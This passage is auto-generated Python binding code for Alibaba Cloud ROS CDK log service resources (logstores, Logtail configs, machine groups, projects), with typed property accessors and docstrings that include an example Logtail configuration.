typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: enableTracking: Whether to enable WebTracking, which supports fast capture of various browsers and iOS/Android/APP access information. Default to false. ''' result = self._values.get("enable_tracking") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def encrypt_conf( self, ) -> typing.Optional[typing.Union[ros_cdk_core.IResolvable, RosLogstore.EncryptConfProperty]]: ''' :Property: encryptConf: Data encryption config ''' result = self._values.get("encrypt_conf") return typing.cast(typing.Optional[typing.Union[ros_cdk_core.IResolvable, RosLogstore.EncryptConfProperty]], result) @builtins.property def max_split_shard( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: maxSplitShard: The maximum number of shards when splitting automatically. Must be specified if AutoSplit is set to true. Allowed Values: 1-64. ''' result = self._values.get("max_split_shard") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def preserve_storage( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: preserveStorage: Whether to keep the log permanently. If set to true, TTL will be ignored. Default to false. ''' result = self._values.get("preserve_storage") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def shard_count( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: shardCount: The number of Shards. Allowed Values: 1-100, default to 2. ''' result = self._values.get("shard_count") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def ttl( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: ttl: The lifecycle of log in the logstore in days. Allowed Values: 1-3600, default to 30. ''' result = self._values.get("ttl") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "RosLogstoreProps(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) class RosLogtailConfig( ros_cdk_core.RosResource, metaclass=jsii.JSIIMeta, jsii_type="@alicloud/ros-cdk-sls.RosLogtailConfig", ): '''A ROS template type: ``ALIYUN::SLS::LogtailConfig``.''' def __init__( self, scope: ros_cdk_core.Construct, id: builtins.str, props: "RosLogtailConfigProps", enable_resource_property_constraint: builtins.bool, ) -> None: '''Create a new ``ALIYUN::SLS::LogtailConfig``. :param scope: - scope in which this resource is defined. :param id: - scoped id of the resource. :param props: - resource properties. :param enable_resource_property_constraint: - ''' jsii.create(self.__class__, self, [scope, id, props, enable_resource_property_constraint]) @jsii.member(jsii_name="renderProperties") def _render_properties( self, props: typing.Mapping[builtins.str, typing.Any], ) -> typing.Mapping[builtins.str, typing.Any]: ''' :param props: - ''' return typing.cast(typing.Mapping[builtins.str, typing.Any], jsii.invoke(self, "renderProperties", [props])) @jsii.python.classproperty # type: ignore[misc] @jsii.member(jsii_name="ROS_RESOURCE_TYPE_NAME") def ROS_RESOURCE_TYPE_NAME(cls) -> builtins.str: '''The resource type name for this resource class.''' return typing.cast(builtins.str, jsii.sget(cls, "ROS_RESOURCE_TYPE_NAME")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrAppliedMachineGroups") def attr_applied_machine_groups(self) -> ros_cdk_core.IResolvable: ''' :Attribute: AppliedMachineGroups: Applied machine groups. ''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrAppliedMachineGroups")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrEndpoint") def attr_endpoint(self) -> ros_cdk_core.IResolvable: ''' :Attribute: Endpoint: Endpoint address. ''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrEndpoint")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrLogtailConfigName") def attr_logtail_config_name(self) -> ros_cdk_core.IResolvable: ''' :Attribute: LogtailConfigName: Logtail config name. ''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrLogtailConfigName")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="rosProperties") def _ros_properties(self) -> typing.Mapping[builtins.str, typing.Any]: return typing.cast(typing.Mapping[builtins.str, typing.Any], jsii.get(self, "rosProperties")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="enableResourcePropertyConstraint") def enable_resource_property_constraint(self) -> builtins.bool: return typing.cast(builtins.bool, jsii.get(self, "enableResourcePropertyConstraint")) @enable_resource_property_constraint.setter def enable_resource_property_constraint(self, value: builtins.bool) -> None: jsii.set(self, "enableResourcePropertyConstraint", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="logstoreName") def logstore_name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: logstoreName: Logstore name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. ''' return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], jsii.get(self, "logstoreName")) @logstore_name.setter def logstore_name( self, value: typing.Union[builtins.str, ros_cdk_core.IResolvable], ) -> None: jsii.set(self, "logstoreName", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="logtailConfigName") def logtail_config_name( self, ) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: logtailConfigName: Logtail config name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. ''' return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], jsii.get(self, "logtailConfigName")) @logtail_config_name.setter def logtail_config_name( self, value: typing.Union[builtins.str, ros_cdk_core.IResolvable], ) -> None: jsii.set(self, "logtailConfigName", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="projectName") def project_name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: projectName: Project name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. ''' return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], jsii.get(self, "projectName")) @project_name.setter def project_name( self, value: typing.Union[builtins.str, ros_cdk_core.IResolvable], ) -> None: jsii.set(self, "projectName", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="cloneFrom") def clone_from( self, ) -> typing.Optional[typing.Union[ros_cdk_core.IResolvable, "RosLogtailConfig.CloneFromProperty"]]: ''' :Property: cloneFrom: Clone logtail config data from existing logtail config. Either CloneFrom or RawConfigData must be specified. If CloneFrom and RawConfigData are both specified, logtail config data will be merged from both with RawConfigData first. ''' return typing.cast(typing.Optional[typing.Union[ros_cdk_core.IResolvable, "RosLogtailConfig.CloneFromProperty"]], jsii.get(self, "cloneFrom")) @clone_from.setter def clone_from( self, value: typing.Optional[typing.Union[ros_cdk_core.IResolvable, "RosLogtailConfig.CloneFromProperty"]], ) -> None: jsii.set(self, "cloneFrom", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="rawConfigData") def raw_config_data( self, ) -> typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.Mapping[builtins.str, typing.Any]]]: ''' :Property: rawConfigData: The format is the same as the response of SLS API GetConfig. Either CloneFrom or RawConfigData must be specified. If CloneFrom and RawConfigData are both specified, logtail config data will be merged from both with RawConfigData first. configName, outputType, outputDetail in data will be ignored.For example: { "configName": "test-logtail-config", "createTime": 1574843554, "inputDetail": { "acceptNoEnoughKeys": false, "adjustTimezone": false, "advanced": { "force_multiconfig": false }, "autoExtend": true, "delayAlarmBytes": 0, "delaySkipBytes": 0, "discardNonUtf8": false, "discardUnmatch": false, "dockerExcludeEnv": {}, "dockerExcludeLabel": {}, "dockerFile": false, "dockerIncludeEnv": {}, "dockerIncludeLabel": {}, "enableRawLog": false, "enableTag": false, "fileEncoding": "utf8", "filePattern": "test.log*", "filterKey": [], "filterRegex": [], "key": [ "time", "logger", "level", "request_id", "user_id", "region_id", "content" ], "localStorage": true, "logPath": "/var/log/test", "logTimezone": "", "logType": "delimiter_log", "maxDepth": 100, "maxSendRate": -1, "mergeType": "topic", "preserve": true, "preserveDepth": 1, "priority": 0, "quote": "\\u0001", "sendRateExpire": 0, "sensitive_keys": [], "separator": ",,,", "shardHashKey": [], "tailExisted": false, "timeFormat": "", "timeKey": "", "topicFormat": "none" }, "inputType": "file", "lastModifyTime": 1574843554, "logSample": "2019-11-27 10:48:23,160,,,MAIN,,,INFO,,,98DCC51D-BE5D-49C7-B3FD-37B2BAEFB296,,,123456789,,,cn-hangzhou,,,this is a simple test.", "outputDetail": { "endpoint": "cn-hangzhou-intranet.log.aliyuncs.com", "logstoreName": "test-logstore", "region": "cn-hangzhou" }, "outputType": "LogService" } ''' return typing.cast(typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.Mapping[builtins.str, typing.Any]]], jsii.get(self, "rawConfigData")) @raw_config_data.setter def raw_config_data( self, value: typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.Mapping[builtins.str, typing.Any]]], ) -> None: jsii.set(self, "rawConfigData", value) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.RosLogtailConfig.CloneFromProperty", jsii_struct_bases=[], name_mapping={ "logtail_config_name": "logtailConfigName", "project_name": "projectName", }, ) class CloneFromProperty: def __init__( self, *, logtail_config_name: typing.Union[builtins.str, ros_cdk_core.IResolvable], project_name: typing.Union[builtins.str, ros_cdk_core.IResolvable], ) -> None: ''' :param logtail_config_name: :param project_name: ''' self._values: typing.Dict[str, typing.Any] = { "logtail_config_name": logtail_config_name, "project_name": project_name, } @builtins.property def logtail_config_name( self, ) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: logtailConfigName: Logtail config name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. ''' result = self._values.get("logtail_config_name") assert result is not None, "Required property 'logtail_config_name' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def project_name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: projectName: Project name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. ''' result = self._values.get("project_name") assert result is not None, "Required property 'project_name' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "CloneFromProperty(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.RosLogtailConfigProps", jsii_struct_bases=[], name_mapping={ "logstore_name": "logstoreName", "logtail_config_name": "logtailConfigName", "project_name": "projectName", "clone_from": "cloneFrom", "raw_config_data": "rawConfigData", }, ) class RosLogtailConfigProps: def __init__( self, *, logstore_name: typing.Union[builtins.str, ros_cdk_core.IResolvable], logtail_config_name: typing.Union[builtins.str, ros_cdk_core.IResolvable], project_name: typing.Union[builtins.str, ros_cdk_core.IResolvable], clone_from: typing.Optional[typing.Union[ros_cdk_core.IResolvable, RosLogtailConfig.CloneFromProperty]] = None, raw_config_data: typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.Mapping[builtins.str, typing.Any]]] = None, ) -> None: '''Properties for defining a ``ALIYUN::SLS::LogtailConfig``. :param logstore_name: :param logtail_config_name: :param project_name: :param clone_from: :param raw_config_data: ''' self._values: typing.Dict[str, typing.Any] = { "logstore_name": logstore_name, "logtail_config_name": logtail_config_name, "project_name": project_name, } if clone_from is not None: self._values["clone_from"] = clone_from if raw_config_data is not None: self._values["raw_config_data"] = raw_config_data @builtins.property def logstore_name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: logstoreName: Logstore name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. ''' result = self._values.get("logstore_name") assert result is not None, "Required property 'logstore_name' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def logtail_config_name( self, ) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: logtailConfigName: Logtail config name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. ''' result = self._values.get("logtail_config_name") assert result is not None, "Required property 'logtail_config_name' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def project_name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: projectName: Project name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. ''' result = self._values.get("project_name") assert result is not None, "Required property 'project_name' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def clone_from( self, ) -> typing.Optional[typing.Union[ros_cdk_core.IResolvable, RosLogtailConfig.CloneFromProperty]]: ''' :Property: cloneFrom: Clone logtail config data from existing logtail config. Either CloneFrom or RawConfigData must be specified. If CloneFrom and RawConfigData are both specified, logtail config data will be merged from both with RawConfigData first. ''' result = self._values.get("clone_from") return typing.cast(typing.Optional[typing.Union[ros_cdk_core.IResolvable, RosLogtailConfig.CloneFromProperty]], result) @builtins.property def raw_config_data( self, ) -> typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.Mapping[builtins.str, typing.Any]]]: ''' :Property: rawConfigData: The format is the same as the response of SLS API GetConfig. Either CloneFrom or RawConfigData must be specified. If CloneFrom and RawConfigData are both specified, logtail config data will be merged from both with RawConfigData first. configName, outputType, outputDetail in data will be ignored.For example: { "configName": "test-logtail-config", "createTime": 1574843554, "inputDetail": { "acceptNoEnoughKeys": false, "adjustTimezone": false, "advanced": { "force_multiconfig": false }, "autoExtend": true, "delayAlarmBytes": 0, "delaySkipBytes": 0, "discardNonUtf8": false, "discardUnmatch": false, "dockerExcludeEnv": {}, "dockerExcludeLabel": {}, "dockerFile": false, "dockerIncludeEnv": {}, "dockerIncludeLabel": {}, "enableRawLog": false, "enableTag": false, "fileEncoding": "utf8", "filePattern": "test.log*", "filterKey": [], "filterRegex": [], "key": [ "time", "logger", "level", "request_id", "user_id", "region_id", "content" ], "localStorage": true, "logPath": "/var/log/test", "logTimezone": "", "logType": "delimiter_log", "maxDepth": 100, "maxSendRate": -1, "mergeType": "topic", "preserve": true, "preserveDepth": 1, "priority": 0, "quote": "\\u0001", "sendRateExpire": 0, "sensitive_keys": [], "separator": ",,,", "shardHashKey": [], "tailExisted": false, "timeFormat": "", "timeKey": "", "topicFormat": "none" }, "inputType": "file", "lastModifyTime": 1574843554, "logSample": "2019-11-27 10:48:23,160,,,MAIN,,,INFO,,,98DCC51D-BE5D-49C7-B3FD-37B2BAEFB296,,,123456789,,,cn-hangzhou,,,this is a simple test.", "outputDetail": { "endpoint": "cn-hangzhou-intranet.log.aliyuncs.com", "logstoreName": "test-logstore", "region": "cn-hangzhou" }, "outputType": "LogService" } ''' result = self._values.get("raw_config_data") return typing.cast(typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.Mapping[builtins.str, typing.Any]]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "RosLogtailConfigProps(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) class RosMachineGroup( ros_cdk_core.RosResource, metaclass=jsii.JSIIMeta, jsii_type="@alicloud/ros-cdk-sls.RosMachineGroup", ): '''A ROS template type: ``ALIYUN::SLS::MachineGroup``.''' def __init__( self, scope: ros_cdk_core.Construct, id: builtins.str, props: "RosMachineGroupProps", enable_resource_property_constraint: builtins.bool, ) -> None: '''Create a new ``ALIYUN::SLS::MachineGroup``. :param scope: - scope in which this resource is defined. :param id: - scoped id of the resource. :param props: - resource properties. :param enable_resource_property_constraint: - ''' jsii.create(self.__class__, self, [scope, id, props, enable_resource_property_constraint]) @jsii.member(jsii_name="renderProperties") def _render_properties( self, props: typing.Mapping[builtins.str, typing.Any], ) -> typing.Mapping[builtins.str, typing.Any]: ''' :param props: - ''' return typing.cast(typing.Mapping[builtins.str, typing.Any], jsii.invoke(self, "renderProperties", [props])) @jsii.python.classproperty # type: ignore[misc] @jsii.member(jsii_name="ROS_RESOURCE_TYPE_NAME") def ROS_RESOURCE_TYPE_NAME(cls) -> builtins.str: '''The resource type name for this resource class.''' return typing.cast(builtins.str, jsii.sget(cls, "ROS_RESOURCE_TYPE_NAME")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrGroupName") def attr_group_name(self) -> ros_cdk_core.IResolvable: ''' :Attribute: GroupName: GroupName of SLS. ''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrGroupName")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrProjectName") def attr_project_name(self) -> ros_cdk_core.IResolvable: ''' :Attribute: ProjectName: ProjectName of SLS. ''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrProjectName")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="rosProperties") def _ros_properties(self) -> typing.Mapping[builtins.str, typing.Any]: return typing.cast(typing.Mapping[builtins.str, typing.Any], jsii.get(self, "rosProperties")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="enableResourcePropertyConstraint") def enable_resource_property_constraint(self) -> builtins.bool: return typing.cast(builtins.bool, jsii.get(self, "enableResourcePropertyConstraint")) @enable_resource_property_constraint.setter def enable_resource_property_constraint(self, value: builtins.bool) -> None: jsii.set(self, "enableResourcePropertyConstraint", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="groupAttribute") def group_attribute( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: groupAttribute: Group attribute, default is null. The object value is groupToic and externalName ''' return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], jsii.get(self, "groupAttribute")) @group_attribute.setter def group_attribute( self, value: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "groupAttribute", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="groupName") def group_name( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: groupName: Display name of the group name, the Project only. [2, 128] English or Chinese characters, must start with a letter or Chinese in size, can contain numbers, '_' or '.', '-' ''' return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], jsii.get(self, "groupName")) @group_name.setter def group_name( self, value: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "groupName", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="groupType") def group_type( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: groupType: MachineGroup type, the value is empty or Armory ''' return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], jsii.get(self, "groupType")) @group_type.setter def group_type( self, value: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "groupType", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="machineIdentifyType") def machine_identify_type( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: machineIdentifyType: Machine indentify type, the value is 'ip' or 'userdefined' ''' return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], jsii.get(self, "machineIdentifyType")) @machine_identify_type.setter def machine_identify_type( self, value: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "machineIdentifyType", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="machineList") def machine_list( self, ) -> typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]]: ''' :Property: machineList: The machine tag, the value is ip or userdefined-id. ''' return typing.cast(typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]], jsii.get(self, "machineList")) @machine_list.setter def machine_list( self, value: typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "machineList", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="projectName") def project_name( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: projectName: MachineGroup created in project. ''' return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], jsii.get(self, "projectName")) @project_name.setter def project_name( self, value: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "projectName", value) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.RosMachineGroupProps", jsii_struct_bases=[], name_mapping={ "group_attribute": "groupAttribute", "group_name": "groupName", "group_type": "groupType", "machine_identify_type": "machineIdentifyType", "machine_list": "machineList", "project_name": "projectName", }, ) class RosMachineGroupProps: def __init__( self, *, group_attribute: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, group_name: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, group_type: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, machine_identify_type: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, machine_list: typing.Optional[typing.Union[typing.Sequence[typing.Any], ros_cdk_core.IResolvable]] = None, project_name: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, ) -> None: '''Properties for defining a ``ALIYUN::SLS::MachineGroup``. :param group_attribute: :param group_name: :param group_type: :param machine_identify_type: :param machine_list: :param project_name: ''' self._values: typing.Dict[str, typing.Any] = {} if group_attribute is not None: self._values["group_attribute"] = group_attribute if group_name is not None: self._values["group_name"] = group_name if group_type is not None: self._values["group_type"] = group_type if machine_identify_type is not None: self._values["machine_identify_type"] = machine_identify_type if machine_list is not None: self._values["machine_list"] = machine_list if project_name is not None: self._values["project_name"] = project_name @builtins.property def group_attribute( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: groupAttribute: Group attribute, default is null. The object value is groupToic and externalName ''' result = self._values.get("group_attribute") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def group_name( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: groupName: Display name of the group name, the Project only. [2, 128] English or Chinese characters, must start with a letter or Chinese in size, can contain numbers, '_' or '.', '-' ''' result = self._values.get("group_name") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def group_type( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: groupType: MachineGroup type, the value is empty or Armory ''' result = self._values.get("group_type") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def machine_identify_type( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: machineIdentifyType: Machine indentify type, the value is 'ip' or 'userdefined' ''' result = self._values.get("machine_identify_type") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def machine_list( self, ) -> typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]]: ''' :Property: machineList: The machine tag, the value is ip or userdefined-id. ''' result = self._values.get("machine_list") return typing.cast(typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]], result) @builtins.property def project_name( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: projectName: MachineGroup created in project. ''' result = self._values.get("project_name") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "RosMachineGroupProps(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) class RosProject( ros_cdk_core.RosResource, metaclass=jsii.JSIIMeta, jsii_type="@alicloud/ros-cdk-sls.RosProject", ): '''A ROS template type: ``ALIYUN::SLS::Project``.''' def __init__( self, scope: ros_cdk_core.Construct, id: builtins.str, props: "RosProjectProps", enable_resource_property_constraint: builtins.bool, ) -> None: '''Create a new ``ALIYUN::SLS::Project``. :param scope: - scope in which this resource is defined. :param id: - scoped id of the resource. :param props: - resource properties. :param enable_resource_property_constraint: - ''' jsii.create(self.__class__, self, [scope, id, props, enable_resource_property_constraint]) @jsii.member(jsii_name="renderProperties") def _render_properties( self, props: typing.Mapping[builtins.str, typing.Any], ) -> typing.Mapping[builtins.str, typing.Any]: ''' :param props: - ''' return typing.cast(typing.Mapping[builtins.str, typing.Any], jsii.invoke(self, "renderProperties", [props])) @jsii.python.classproperty # type: ignore[misc] @jsii.member(jsii_name="ROS_RESOURCE_TYPE_NAME") def ROS_RESOURCE_TYPE_NAME(cls) -> builtins.str: '''The resource type name for this resource class.''' return typing.cast(builtins.str, jsii.sget(cls, "ROS_RESOURCE_TYPE_NAME")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrName") def attr_name(self) -> ros_cdk_core.IResolvable: ''' :Attribute: Name: Project name. ''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrName")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="rosProperties") def _ros_properties(self) -> typing.Mapping[builtins.str, typing.Any]: return typing.cast(typing.Mapping[builtins.str, typing.Any], jsii.get(self, "rosProperties")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="enableResourcePropertyConstraint") def enable_resource_property_constraint(self) -> builtins.bool: return typing.cast(builtins.bool, jsii.get(self, "enableResourcePropertyConstraint")) @enable_resource_property_constraint.setter def enable_resource_property_constraint(self, value: builtins.bool) -> None: jsii.set(self, "enableResourcePropertyConstraint", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="name") def name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: name: Project name: 1. Only supports lowercase letters, numbers, hyphens (-) and underscores (_). 2. Must start and end with lowercase letters and numbers. 3. The name length is 3-63 characters. ''' return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], jsii.get(self, "name")) @name.setter def name(self, value: typing.Union[builtins.str, ros_cdk_core.IResolvable]) -> None: jsii.set(self, "name", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="description") def description( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: description: Project description: <>'"\\ is not supported, up to 64 characters. ''' return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], jsii.get(self, "description")) @description.setter def description( self, value: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "description", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="tags") def tags(self) -> typing.Optional[typing.List["RosProject.TagsProperty"]]: ''' :Property: tags: Tags to attach to project. Max support 20 tags to add during create project. Each tag with two properties Key and Value, and Key is required. ''' return typing.cast(typing.Optional[typing.List["RosProject.TagsProperty"]], jsii.get(self, "tags")) @tags.setter def tags( self, value: typing.Optional[typing.List["RosProject.TagsProperty"]], ) -> None: jsii.set(self, "tags", value) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.RosProject.TagsProperty", jsii_struct_bases=[], name_mapping={"key": "key", "value": "value"}, ) class TagsProperty: def __init__( self, *, key: typing.Union[builtins.str, ros_cdk_core.IResolvable], value: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, ) -> None: ''' :param key: :param value: ''' self._values: typing.Dict[str, typing.Any] = { "key": key, } if value is not None: self._values["value"] = value @builtins.property def key(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: key: undefined ''' result = self._values.get("key") assert result is not None, "Required property 'key' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def value( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: value: undefined ''' result = self._values.get("value") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "TagsProperty(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.RosProjectProps", jsii_struct_bases=[], name_mapping={"name": "name", "description": "description", "tags": "tags"}, ) class RosProjectProps: def __init__( self, *, name: typing.Union[builtins.str, ros_cdk_core.IResolvable], description: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, tags: typing.Optional[typing.Sequence[RosProject.TagsProperty]] = None, ) -> None: '''Properties for defining a ``ALIYUN::SLS::Project``. :param name: :param description: :param tags: ''' self._values: typing.Dict[str, 